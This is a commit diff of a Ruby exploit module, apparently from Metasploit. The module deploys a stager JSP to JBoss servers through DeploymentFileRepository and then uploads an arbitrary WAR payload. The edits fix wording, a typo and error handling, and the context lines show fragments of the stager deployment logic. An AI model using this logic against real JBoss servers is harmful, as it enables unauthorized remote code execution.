@@ -13,9 +13,8 @@ def initialize
13
13
super (
14
14
'Name' => 'JBoss JMX Console DeploymentFileRepository WAR Upload and Deployment' ,
15
15
'Description' => %q{
16
- This module uses the DeploymentFileRepository class in
17
- JBoss Application Server (jbossas) to deploy a JSP file
18
- which then deploys the WAR file.
16
+ This module uses the DeploymentFileRepository class in the JBoss Application Server
17
+ to deploy a JSP file which then deploys an arbitrary WAR file.
19
18
} ,
20
19
'Author' =>
21
20
[
@@ -40,8 +39,8 @@ def initialize
40
39
register_options (
41
40
[
42
41
Opt ::RPORT ( 8080 ) ,
43
- OptString . new ( 'APPBASE' , [ true , 'Application base name' , 'payload' ] ) ,
44
- OptPath . new ( 'WARFILE' , [ false , 'The WAR file to deploy' ] )
42
+ OptString . new ( 'APPBASE' , [ true , 'Application base name' , 'payload' ] ) ,
43
+ OptPath . new ( 'WARFILE' , [ false , 'The WAR file to deploy' ] )
45
44
] , self . class )
46
45
end
47
46
@@ -55,7 +54,7 @@ def deploy_action(app_base, war_data)
55
54
print_status ( "#{ peer } - Deploying stager for the WAR file..." )
56
55
res = upload_file ( stager_base , stager_jsp_name , stager_contents )
57
56
else
58
- print_status ( "#{ peer } - Deploying minmial stager to upload the payload..." )
57
+ print_status ( "#{ peer } - Deploying minimal stager to upload the payload..." )
59
58
head_stager_jsp_name = Rex ::Text . rand_text_alpha ( 8 +rand ( 8 ) )
60
59
head_stager_contents = head_stager_jsp ( stager_base , stager_jsp_name )
61
60
head_stager_uri = "/" + stager_base + "/" + head_stager_jsp_name + ".jsp"
@@ -109,15 +108,18 @@ def deploy_action(app_base, war_data)
109
108
end
110
109
end
111
110
111
+ # Undeploy the WAR and the stager if needed
112
112
def undeploy_action ( app_base )
113
- # Undeploy the WAR and the stager if needed
114
113
print_status ( "#{ peer } - Undeploying #{ app_base } via DeploymentFileRepository.remove()..." )
115
114
print_status ( "This might take some time, be patient..." ) if http_verb == "HEAD"
116
115
res = delete_file ( './' , app_base + '.war' , '' )
117
116
118
- if ! res
117
+ unless res
119
118
print_error ( "#{ peer } - Unable to remove WAR (no response)" )
120
- elsif res . code < 200 || res . code >= 300
119
+ return
120
+ end
121
+
122
+ if res . code < 200 || res . code >= 300
121
123
print_error ( "#{ peer } - Unable to remove WAR [#{ res . code } #{ res . message } ]" )
122
124
else
123
125
print_good ( "#{ peer } - Successfully removed" )
0 commit comments